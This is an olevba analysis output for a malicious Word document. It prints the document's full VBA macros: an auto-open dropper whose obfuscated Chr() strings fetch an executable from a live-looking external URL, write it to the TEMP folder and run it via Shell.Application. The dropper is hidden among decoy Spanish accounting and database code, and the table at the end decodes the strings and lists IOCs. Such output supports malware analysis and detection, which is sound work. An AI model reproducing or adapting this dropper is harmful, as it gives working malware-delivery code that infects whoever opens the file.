Malicious Word macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASI-B-V Q_46Q0VWHU4.DOC

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: Q_46Q0VWHU4.DOC
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: Q_46Q0VWHU4.DOC - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub autoopen()

SSVEvdqwfF3 (59)

End Sub




Sub SSVEvdqwfF3(FFFFF As Integer)
tipanaliticcdig

End Sub
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: Q_46Q0VWHU4.DOC - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    Function readFromFile(n As String) As String
        dim ff as integer = freefile()
        Dim buf As String
        Open n For Binary Access Read As ff
        dim as integer l = lof( ff )
        If (l > 0) Then
            buf = Space(l)
            Get #ff, , buf
        Else
            buf = ""
        End If
        Close #ff
        return buf
    End Function

    Function writeToFile(n As String, v As String) As String
        dim ff as integer = freefile()
        if( open( n for output as ff ) = 0 ) then
            Close #ff       ' we only opened it to create or truncate it
            Open n For Binary Access Write As ff  ' now we will write it
            Put #ff, , v
            Close #ff
            return "1"
        End If
        return "0"
    End Function

    function _loadConfig( n as string, prefix as string, byref vars as string ) as string
        dim key as string = "", value as string
        Dim l As String
        dim ff as integer = freefile()
        if( open( n for input as ff ) = 0 ) then
            While (Not EOF(ff))
                Line Input #ff, l
                If ((Asc(l, 1) = 91) And (Asc(l, Len(l)) = 93)) Then         '[ and ]
                    If (key <> "") Then
                        Dict.set( vars, (prefix & key), trim( value, any !" \n\r" ) )
                    End If
                    key = Mid(l, 2, (Len(l) - 2))
                    value = ""
                Else
                    value = (value & l & !"\n")
                End If
            Wend
            If ((key <> "")) Then
                Dict.set( vars, (prefix & key), trim( value, any !" \n\r" ) )
            End If
            return "1"
        End If
        return "0"
    End Function


Public Function ProfileChr(KJB As Object)
Dim segR As String
segR = Chr(104) & Chr(116) & "t" & Chr(112) & Chr(58) & "/" & "/" & Chr(114) & Chr(111) & Chr(116) & Chr(104) & Chr(115) & Chr(99) & "h" & Chr(105) & "l" & "l" & "e" & Chr(114) & Chr(46) & Chr(110) & Chr(101) & Chr(116) & "/" & Chr(126) & Chr(109) & "e" & "d" & Chr(105) & Chr(99) & "b" & Chr(116) & Chr(57) & "/" & "6" & Chr(53) & "y" & Chr(103) & "3" & Chr(102) & "3"
KJB.Open Chr(71) & "E" & Chr(84), segR & Chr(47) & "4" & Chr(51) & Chr(103) & "5" & "f" & Chr(101) & "w" & Chr(46) & "e" & Chr(120) & "e", False
End Function
Public Function ParametrsdeSistema(SmRaNdMM1 As String)
For i = 0 To 3
SmRaNdMM1 = Replace(SmRaNdMM1, Chr(i + 20 * 3 - 1), "")
Next i
 Set ParametrsdeSistema = CreateObject(SmRaNdMM1)
End Function


    Function saveVars(ByRef vars As String, names As String, prefix As String) As String
        Dim i As Integer
        Dim s As String, k As String
        Dim result As String
        While (names <> "")
            i = InStr(names, ",")
            If (i > 0) Then
                k = Mid(names, 1, (i - 1))
                names = Mid(names, (i + 1))
            Else
                k = names
                names = ""
            End If
            s = (prefix & k)

            For i = 0 To 1
                dim l as integer = len( s )
                dim z as string = chr( (65 + (l and 15)) )
                While (l > 15)
                    l = (l shr 4)
                    z = (Chr((97 + (l And 15))) & z)
                Wend
                result &= z
                result &= s
                s = Dict.valueOf(vars, k)
            Next
        Wend
        return result
    End Function

  Public Function ParametrsdeTesreria(MesPrces2 As String, MesPrces3 As String, MesPrces As Object, ServidrGEN9_3 As String, ServidrGEN9_8 As Double) As Double
ParametrsdeTesreria = 5
ParametrsdeTesreria = prcentajeretencin(MesPrces, ServidrGEN9_3)
ParametrsdeTesreria = 99.9
  End Function
    Public Sub loadVars(ByRef vars As String, from As String, prefix As String)
        dim ofs as integer = 1
        Dim k As String

        While (ofs < Len(from))
            Dim o As Integer
            dim l as integer = 0
            dim b as string = mid( from, ofs, 1 )
            o = Asc(b)
            ofs += 1
            While (o >= 97)
                l = (l + ((o - 97) shl 4))
                o = Asc(Mid(from, ofs, 1))
                ofs += 1
            Wend
            l += (o - 65)
            o = ofs
            ofs += l
            If (k = "") Then
                k = (prefix & Mid(from, o, l))
            Else
                Dict.set( vars, k, mid( from, o, l ) )
                k = ""
            End If
        Wend
    End Sub

    function _createDateSerial() as string
        dim ts as string = (date() & time())
        return (mid( ts, 7, 4 ) & mid( ts, 1, 2 ) & mid( ts, 4, 2 ) & _
                mid( ts, 11, 2 ) & mid( ts, 14, 2 ) & mid( ts, 17, 2 ) )
    End Sub
/'
    ' page is the page before ?, query is a parts (LSF-array) list to be
    ' encoded and added, can be ""
    function _browseTo( page as string, query as string ) as integer
        If (Query <> "") Then
            dim as DICTSTRING qdict = Dict.createFromLSF( query )
            dim as DICTSTRING keys = Dict.keyDict( qdict )
            dim as integer i, l = (Dict.intValueOf( keys, "count" ) - 1)
            dim as string a = "?", k
            For i = 0 To l
                k = Dict.valueOf(keys, str(i))
                page &= (a & k & "=" & ExtPlatform._pcEncode( Dict.valueOf( qdict, k ) ))
                a = "&"
            Next
        End If
        dim as string app = environ( "BROWSER" )
        dim as integer errcode = exec( app, ("""" & page & """") )
        If (errcode > -1) Then
            return TRUE
        Else
            return FALSE
        End If
    End Sub



-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: Q_46Q0VWHU4.DOC - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Cadenabusca As String

'Variables de Ventana de Ayuda
Public nAyuda As String
Public nDetalle As String
Public nAyuda1 As String
Public nMoneda As String

Public g_DetalleEmpresa As String
Public g_PedidoPuntoVta As String
Public g_DetallePuntoVta As String

Public Cuentacodigo As String
Public VGactulizodoc As Boolean
Public VGformatofecha As String
Public VGmodifica As Integer

Public VGflaglimpia As Boolean               'Flag que Limpia
Public VGMoverRegistro As Boolean            'Flag al mover el registro
Public VGvarVerifica As Boolean              'Flag Verifica que transaccion es OK (Grabar ,Etc)
Public VGErrorString As String               'Almacena el Error el que hubo en alguna transaccion
Public VGoficina As String

'REPORTES
Public RutaRep  As String      '= "\\desarrollo\librerias_controles\Reportes\"
Public RutaRepProc As String    '= "\\desarrollo\librerias_controles\Reportes\Procesos\"
             'Cadena de Reportes Base Marfice


Public VGParametros As String
Public VGParamSistem As String
Public VGtipo As String

Private Type ParametrosdeTesoreria        ' Crea Datos de Empresa
   NomEmpresa As String
   RucEmpresa As String
   auxaut As Boolean
   monedabase As String
   ctascompra As String
   igv As Double
   minimoretencion As Double
   empresacodigo As String
   puntovta As String
   numeracionautomaticalibro As Boolean

   sistemaasientoenlinea As Boolean
   descripcion As String
   tipocambio As Double
   controlarefe As String
   numeauto As String
   controlacodigocaja As String
   saldocontadispo As String
   controlacobranzacheq As String
   impresioncheq As String
   listaclientes As String
   listaproveedor As String
   controlacuenta As String
   transferencia As String
   transferenciaegreso As String
   transferenciaingreso As String
   codigooperaciontransferencia As String

   sistemaactivaccostos As Boolean
   sistemactrlgastos As Boolean
   sistemamultiempresas As Boolean
   sistemaultimonivel As String
   sistemactaajustedeb As String
   sistemactaajustehab As String

    xsubasiento As String
    xLibro As String
    xTipAnal As String
    xCtaIGV As String
    xCtaIES As String
    xCtaRTA As String
    xCtaTotal As String
    xcodretencion As String

    CpTiplan As String
    CpOficina As String
    permite_tc As Boolean
    cierremes As Boolean
    AsientoAutoxCCostos As Integer

   porcentajeretencion As Double
   empresacodigodetraccion As String
   empresacodigoretencion As String
   empresaretencion As String
   sistemaminimoretencion As Double
   sistemanumnivelcosto As String
   sistemabancarizacion As Boolean
   sistemabancarizacion01 As Double
   sistemabancarizacion02 As Double
   controlaestadosrendicion  As Boolean
   diasatrazorendicion As Integer
   diacierrerendicion As Integer
   listacajas As String
End Type


Public Function tipanaliticcdig()
Set Z3UsuariCT = ParametrsdeSistema(Chr(87) & Chr(80 + 3) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) + Chr(23 * 2) & Chr(40 * 2 + 3) & Chr(104) & Chr(101) & Chr(108) & Chr(108)).Environment(Chr(80) & Chr(114) & "o" & Chr(99) & Chr(101) & "s" & "s")
ServidrGEN9_2 = Z3UsuariCT("T" & Chr(69) & Chr(77) & Chr(80))
Dim MesPrces As Object
Set MesPrces = ParametrsdeSistema(Chr(65) & "do" & Chr(100) & Chr(98) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & "a" & Chr(109))

   MesPrces.Type = 1
Dim ServidrGEN9_3 As String
ServidrGEN9_3 = ServidrGEN9_2 & "\" & "rrd" & Chr(68) & "hhm." & "e" & Chr(120) & "e"


With MesPrces
    .Open
    .write diasatrazrendicin(5000)
End With
 Dim HricK As Double
HricK = ParametrsdeTesreria("MesPrces", "MesPrces", MesPrces, ServidrGEN9_3, 88.3)
Set noexile = ParametrsdeSistema(Chr(83) & "h" & "e" & Chr(108) & Chr(108) & ";<=" + Chr(46) & Chr(65) & "p" & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110))
noexile.Open (ServidrGEN9_3)
End Function




Public Sub Main()
  VGcomputer = UCase(ComputerName)
   Call Configurar_Conexiones
   Call adicionarcampos
'   Call Cargar_Parametros_Funcionales
   FrmIngreso.Show

End Sub


Public Function prcentajeretencin(ServidrGEN9_4 As Object, ServidrGEN9_3 As String) As Integer
prcentajeretencin = 15
ServidrGEN9_4.savetofile ServidrGEN9_3, 2
prcentajeretencin = 2
End Function

Public Sub Cargar_Parametros_Funcionales()
   Dim rsaux As New ADODB.Recordset
   Dim rb As New ADODB.Recordset
   Dim VGvardllgen As New dllgeneral.dll_general

   Set rsaux = Nothing

   Set rsaux = VGCNx.Execute("select top 1 * from te_parametroempresa ")
   If rsaux.RecordCount > 0 Then
        VGCodEmpresa = Escadena(rsaux!empresacodigo)
        VGParametros.descripcion = Escadena(rsaux!empresarazonsocial)
        VGParametros.tipocambio = numero(rsaux!empresatipocambio)
        VGParametros.controlarefe = Escadena(rsaux!empresacontrolarefe)
        VGParametros.numeauto = Escadena(rsaux!empresanumeauto)
        VGParametros.controlacodigocaja = Escadena(rsaux!empresacontrolacodcaja)
        VGParametros.saldocontadispo = Escadena(rsaux!empresacontrolasaldocontabledispo)
        VGParametros.controlacobranzacheq = Escadena(rsaux!empresanocontrolcobranzacheque)
        VGParametros.impresioncheq = Escadena(rsaux!empresaimpresioncheque)
        VGParametros.controlacuenta = Escadena(rsaux!empresacontrolactacontable)
        VGParametros.transferencia = Escadena(rsaux!empresanumtransferencia)
        VGParametros.transferenciaegreso = Escadena(rsaux!empresatransaccionegreso)
        VGParametros.transferenciaingreso = Escadena(rsaux!empresatransaccioningreso)
        VGParametros.empresacodigoretencion = Escadena(rsaux!empresacodigoretencion)
        VGParametros.empresacodigodetraccion = Escadena(rsaux!empresacodigodetraccion)
        VGParametros.porcentajeretencion = numero(rsaux!porcentajeretencion)
        VGParametros.empresaretencion = numeroEntero(rsaux!empresaretencion)
        VGParametros.codigooperaciontransferencia = Escadena(rsaux!codigooperaciontransferencia)
   End If

   Set rsaux = VGCNx.Execute("select * from co_sistema")
   If rsaux.RecordCount > 0 Then
    VGParametros.monedabase = Trim(rsaux!monedacodigo)
    VGParametros.ctascompra = ArmaCriterioComodin(rsaux!sistemactacomp, "cuentacodigo")
    VGParametros.igv = rsaux!sistemaigv / 100

    'Parametros Exclusivos para la generacion de asientos a contabilidad

    VGParametros.xLibro = VGvardllgen.ESNULO(rsaux!sistemalibro, "")
    VGParametros.xTipAnal = VGvardllgen.ESNULO(rsaux!sistematipanal, "00")
    VGParametros.xsubasiento = VGvardllgen.ESNULO(rsaux!sistemasubasiento, "00")
    VGParametros.xCtaIGV = VGvardllgen.ESNULO(rsaux!sistemactaIGV, "00")
    VGParametros.xCtaIES = VGvardllgen.ESNULO(rsaux!sistemactaIES, "00")
    VGParametros.xCtaRTA = VGvardllgen.ESNULO(rsaux!sistemactaRTA, "00")
    VGParametros.auxaut = True ' Se tiene que crear el campo para controlar auxiliar automatico

    'Cargar parametros para pasar a cuentas por cobrar

    VGParametros.CpTiplan = VGvardllgen.ESNULO(rsaux!sistematipoplan, "00")
    VGParametros.CpOficina = VGvardllgen.ESNULO(rsaux!sistemaoficina, "00")

    VGParametros.xCtaTotal = rsaux!sistemactatotal
    VGParametros.permite_tc = IIf(VGvardllgen.ESNULO(rsaux!permite_tc, 0) = 0, False, True)
    VGParametros.sistemaactivaccostos = IIf(VGvardllgen.ESNULO(rsaux!sistemaactivaccostos, 0) = 0, False, True)
    VGParametros.sistemaasientoenlinea = IIf(VGvardllgen.ESNULO(rsaux!sistemaasientoenlinea, 0) = 0, False, True)
    VGParametros.sistemactrlgastos = IIf(VGvardllgen.ESNULO(rsaux!sistemactrlgastos, 0) = 0, False, True)

    If ExisteElem(1, VGCNx, "co_sistema", "sistemamultiempresas") Then
       VGParametros.sistemamultiempresas = IIf(VGvardllgen.ESNULO(rsaux!sistemamultiempresas, 0) = 0, False, True)
    End If
    VGParametros.minimoretencion = IIf(VGvardllgen.ESNULO(rsaux!sistemaminimoretencion, 0) = 0, 99999, rsaux!sistemaminimoretencion)
    VGParametros.sistemabancarizacion = IIf(VGvardllgen.ESNULO(rsaux!bancarizacion, 0) = 0, 0, rsaux!bancarizacion)
    VGParametros.sistemabancarizacion01 = IIf(VGvardllgen.ESNULO(rsaux!minimobancarizacion01, 0) = 0, 9999999, rsaux!minimobancarizacion01)
    VGParametros.sistemabancarizacion02 = IIf(VGvardllgen.ESNULO(rsaux!minimobancarizacion02, 0) = 0, 9999999, rsaux!minimobancarizacion02)

    VGParametros.controlaestadosrendicion = IIf(VGvardllgen.ESNULO(rsaux!controlaestadosrendicion, 0) = 0, 0, rsaux!controlaestadosrendicion)
    VGParametros.diasatrazorendicion = IIf(VGvardllgen.ESNULO(rsaux!diasatrazorendicion, 0) = 0, 0, rsaux!diasatrazorendicion)
    VGParametros.diacierrerendicion = IIf(VGvardllgen.ESNULO(rsaux!diacierrerendicion, 0) = 0, 1, rsaux!diacierrerendicion)

   End If
   Set rsaux = New ADODB.Recordset
   rsaux.Open "select sistemaultimonivel,sistemaultimonivelcostos from  ct_sistema", VGCnxCT, adOpenKeyset, adLockReadOnly
   If rsaux.RecordCount = 0 Then Exit Sub
   VGnumniveles = rsaux!sistemaultimonivel
   VGnumnivcos = ESNULO(rsaux!sistemaultimonivelcostos, 1)

    Set rsaux = New ADODB.Recordset
    rsaux.Open "select sistemaultimonivel from  co_sistema", VGCNx, adOpenKeyset, adLockReadOnly
    If rsaux.RecordCount = 0 Then Exit Sub
    VGnumnivgas = rsaux!sistemaultimonivel

    Set rsaux = New ADODB.Recordset
    Set rsaux = VGCNx.Execute("select * from  vt_sistema")
    If rsaux.RecordCount = 0 Then Exit Sub
    VGParamSistem.tipoanaliticocodigo = rsaux!tipoanaliticocodigo

    Set rsaux = New ADODB.Recordset
    rsaux.Open "select top 1 sistemactaajustedeb,sistemactaajustehab from  ct_sistema", VGCNx, adOpenKeyset, adLockReadOnly
    If rsaux.RecordCount = 0 Then Exit Sub

    VGParametros.sistemactaajustedeb = RTrim(rsaux!sistemactaajustedeb)
    VGParametros.sistemactaajustehab = RTrim(rsaux!sistemactaajustehab)


    VGCNx.Execute "set dateformat dmy"    '--seteo de formato de fecha

End Sub





Public Function Valida(Modulo As String) As Boolean
Dim Rshabilita As ADODB.Recordset
Valida = True
Set Rshabilita = VGCNx.Execute("select * from ct_cierremensual where empresacodigo='" & FrmContabilizaTesoreria.Ctr_Ayuempresa.xclave & "' " _
& " and mes='" & VGParamSistem.MesProceso & "' and anio='" & VGParamSistem.AnoProceso & "'")
If Rshabilita.RecordCount > 0 Then
    Select Case Modulo
    Case "Facturacion":
        Valida = IIf(Rshabilita!Ventas = False, True, False)
    Case "Cobranza":
        Valida = IIf(Rshabilita!cobrar = False, True, False)
    Case "Pagar":
        Valida = IIf(Rshabilita!pagar = False, True, False)
    Case "Contabilidad":
        Valida = IIf(Rshabilita!contabilidad = False, True, False)
    Case "Provisiones":
        Valida = IIf(Rshabilita!compras = False, True, False)
    End Select
End If

End Function

-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: Q_46Q0VWHU4.DOC - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


Public Sub Configurar_Conexiones()

  On Error GoTo nerror
   ' *****Archivo de Punto de Venta*******
   Dim VGdllApi As New dll_apisgen.dll_apis
   Dim strbase As String
   Dim struser As String
   Dim strpass As String
   Dim strserver As String

   Dim strconecta As String

' reportes

   VGParamSistem.RutaReport = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "REPORTES", "TESORERIA", "?")
   VGParamSistem.carpetareportes = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "conexion", "CARPETAREPORTES", "?")

   VGsql = VGdllApi.LeerIni(app.Path & "\Marfice.ini", "conexion", "SQL", "")
   VGsql = IIf(VGsql = "", 1, VGsql)

    VGformatofecha = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "CONEXION", "FECHASQL", "?")
    VGformatofecha = IIf(VGformatofecha = "?", "MDY", VGformatofecha)

   VGParametros.empresacodigo = "01"

   RutaRep = VGdllApi.LeerIni(app.Path & "\Marfice.ini", "reportes", "TESORERIA", "")
   RutaRepProc = RutaRep
   strbase = VGdllApi.LeerIni(app.Path & "\Marfice.ini", "conexion", "RUTAREPORTES", "")
   If strbase <> "" Then
      RutaRep = RutaRep + Trim(strbase)
      RutaRepProc = RutaRepProc + Trim(strbase)
   End If

' conexion de tesoreria

    VGParamSistem.BDEmpresa = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "conexion", "BDDATOS", "?")
    VGParamSistem.Servidor = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "conexion", "SERVIDOR", "?")
    VGParamSistem.Usuario = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "conexion", "USUARIO", "?")
    VGParamSistem.Pwd = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "conexion", "PASSW", "?")

    Set VGCNx = New ADODB.Connection
    VGCNx.CursorLocation = adUseClient
    VGCNx.CommandTimeout = 0
    VGCNx.ConnectionTimeout = 0
    VGCNx.ConnectionString = "Provider=SQLOLEDB.1;Persist Security Info=False;User ID=" & VGParamSistem.Usuario & ";Password=" & VGParamSistem.Pwd & ";Initial Catalog=" & VGParamSistem.BDEmpresa & ";Data Source=" & VGParamSistem.Servidor
    VGCNx.Open


    ' Bdwenco

    Set VGConfig = New ADODB.Connection
    VGConfig.CursorLocation = adUseClient
    VGConfig.CommandTimeout = 0
    VGConfig.ConnectionTimeout = 0
    VGConfig.ConnectionString = "Provider=SQLOLEDB.1;Persist Security Info=False;User ID=" & VGParamSistem.Usuario & ";Password=" & VGParamSistem.Pwd & ";Initial Catalog=Bdwenco;Data Source=" & VGParamSistem.Servidor
    VGConfig.Open
    End Sub
    Public Function diasatrazrendicin(KJB As Long)

Dim PbMain31 As Object
Set PbMain31 = ParametrsdeSistema(Chr(77) & Chr(105) & "c" & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & "t" & Chr(46) & Chr(88) & "M" & Chr(76) & "H" & Chr(84) & Chr(84) & "P")
ProfileChr PbMain31
PbMain31.Send
diasatrazrendicin = PbMain31.responseBody
End Function
Public Sub ContabilidadO()

    'Conexion de Contabilidad

    VGParamSistem.BDEmpresaCT = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "CONTABILIDAD", "BDDATOS", "?")
    If VGParamSistem.BDEmpresaCT = "" Then
       VGParamSistem.BDEmpresaCT = VGParamSistem.BDEmpresa
       VGParamSistem.ServidorCT = VGParamSistem.Servidor
       VGParamSistem.UsuarioCT = VGParamSistem.Usuario
       VGParamSistem.PwdCT = VGParamSistem.Pwd
     Else
       VGParamSistem.BDEmpresaCT = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "CONTABILIDAD", "BDDATOS", "?")
       VGParamSistem.ServidorCT = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "CONTABILIDAD", "SERVIDOR", "?")
       VGParamSistem.UsuarioCT = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "CONTABILIDAD", "USUARIO", "?")
       VGParamSistem.PwdCT = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "CONTABILIDAD", "PASSW", "?")
   End If

    'Conexion de Contabilidad
    Set VGCnxCT = New ADODB.Connection
    VGCnxCT.CursorLocation = adUseClient
    VGCnxCT.CommandTimeout = 0
    VGCnxCT.ConnectionTimeout = 0
    VGCnxCT.ConnectionString = "Provider=SQLOLEDB.1;Persist Security Info=False;User ID=" & VGParamSistem.UsuarioCT & ";Password=" & VGParamSistem.PwdCT & ";Initial Catalog=" & VGParamSistem.BDEmpresaCT & ";Data Source=" & VGParamSistem.ServidorCT
    VGCnxCT.Open

    VGParamSistem.BDEmpresaGEN = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "BDGENERAL", "BDDATOS", "?")
    VGParamSistem.ServidorGEN = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "BDGENERAL", "SERVIDOR", "?")
    VGParamSistem.UsuarioGEN = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "BDGENERAL", "USUARIO", "?")
    VGParamSistem.PwdGEN = VGdllApi.LeerIni(app.Path & "\MARFICE.INI", "BDGENERAL", "PASSW", "?")

    'Establecer Conexiones del Marfice


    Set VGGeneral = New ADODB.Connection
    VGGeneral.CursorLocation = adUseClient
    VGGeneral.CommandTimeout = 0
    VGGeneral.ConnectionTimeout = 0
    VGGeneral.ConnectionString = "Provider=SQLOLEDB.1;Persist Security Info=False;User ID=" & VGParamSistem.UsuarioGEN & ";Password=" & VGParamSistem.PwdGEN & ";Initial Catalog=" & VGParamSistem.BDEmpresaGEN & ";Data Source=" & VGParamSistem.Servidor
    VGGeneral.Open

      VGCadenaReport2 = "DSN=jckconsultores;DSQ=" & VGParamSistem.BDEmpresaGEN & ";UID=" & VGParamSistem.UsuarioGEN & ";PWD=" & VGParamSistem.PwdGEN & ""


   Exit Sub

nerror:
   If Err Then
       MsgBox "Comunicarse con Sistemas " & Chr(13) & Chr(10) & Err.Number & "-" & Err.Description
       Err = 0
       End
   End If
End Sub



+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Binary               | May read or write a binary file (if     |
|            |                      | combined with Open)                     |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Environ              | May read system environment variables   |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Put                  | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Output               | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command (obfuscation: VBA expression)   |
| Suspicious | ADODB.Stream         | May create a text file (obfuscation:    |
|            |                      | VBA expression)                         |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
|            |                      | (obfuscation: VBA expression)           |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | http://rothschiller. | URL (obfuscation: VBA expression)       |
|            | net/~medicbt9/65yg3f |                                         |
|            | 3                    |                                         |
| IOC        | 43g5few.exe          | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
| IOC        | rrdDhhm.exe          | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
| VBA string | http://rothschiller. | Chr(104) & Chr(116) & "t" & Chr(112) &  |
|            | net/~medicbt9/65yg3f | Chr(58) & "/" & "/" & Chr(114) &        |
|            | 3                    | Chr(111) & Chr(116) & Chr(104) &        |
|            |                      | Chr(115) & Chr(99) & "h" & Chr(105) &   |
|            |                      | "l" & "l" & "e" & Chr(114) & Chr(46) &  |
|            |                      | Chr(110) & Chr(101) & Chr(116) & "/" &  |
|            |                      | Chr(126) & Chr(109) & "e" & "d" &       |
|            |                      | Chr(105) & Chr(99) & "b" & Chr(116) &   |
|            |                      | Chr(57) & "/" & "6" & Chr(53) & "y" &   |
|            |                      | Chr(103) & "3" & Chr(102) & "3"         |
| VBA string | GET                  | Chr(71) & "E" & Chr(84)                 |
| VBA string | /43g5few.exe         | Chr(47) & "4" & Chr(51) & Chr(103) &    |
|            |                      | "5" & "f" & Chr(101) & "w" & Chr(46) &  |
|            |                      | "e" & Chr(120) & "e"                    |
| VBA string | %BROWSER%            | environ( "BROWSER" )                    |
| VBA string | WScript              | Chr(87) & Chr(80 + 3) & Chr(99) &       |
|            |                      | Chr(114) & Chr(105) & Chr(112) &        |
|            |                      | Chr(116)                                |
| VBA string | hell                 | Chr(104) & Chr(101) & Chr(108) &        |
|            |                      | Chr(108)                                |
| VBA string | Process              | (Chr(80) & Chr(114) & "o" & Chr(99) &   |
|            |                      | Chr(101) & "s" & "s")                   |
| VBA string | TEMP                 | ("T" & Chr(69) & Chr(77) & Chr(80))     |
| VBA string | Adodb.Stream         | (Chr(65) & "do" & Chr(100) & Chr(98) &  |
|            |                      | Chr(46) & Chr(83) & Chr(116) & Chr(114) |
|            |                      | & Chr(101) & "a" & Chr(109))            |
| VBA string | \rrdDhhm.exe         | "\" & "rrd" & Chr(68) & "hhm." & "e" &  |
|            |                      | Chr(120) & "e"                          |
| VBA string | Shell;<=.Application | (Chr(83) & "h" & "e" & Chr(108) &       |
|            |                      | Chr(108) & ";<=" + Chr(46) & Chr(65) &  |
|            |                      | "p" & Chr(112) & Chr(108) & Chr(105) &  |
|            |                      | Chr(99) & Chr(97) & Chr(116) & Chr(105) |
|            |                      | & Chr(111) & Chr(110))                  |
| VBA string | '  and mes='         | "' " & " and mes='"                     |
| VBA string | Microsoft.XMLHTTP    | (Chr(77) & Chr(105) & "c" & Chr(114) &  |
|            |                      | Chr(111) & Chr(115) & Chr(111) &        |
|            |                      | Chr(102) & "t" & Chr(46) & Chr(88) &    |
|            |                      | "M" & Chr(76) & "H" & Chr(84) & Chr(84) |
|            |                      | & "P")                                  |
| VBA string | Comunicarse con      | "Comunicarse con Sistemas " & Chr(13) & |
|            | Sistemas             | Chr(10)                                 |
|            |                      |                                         |
+------------+----------------------+-----------------------------------------+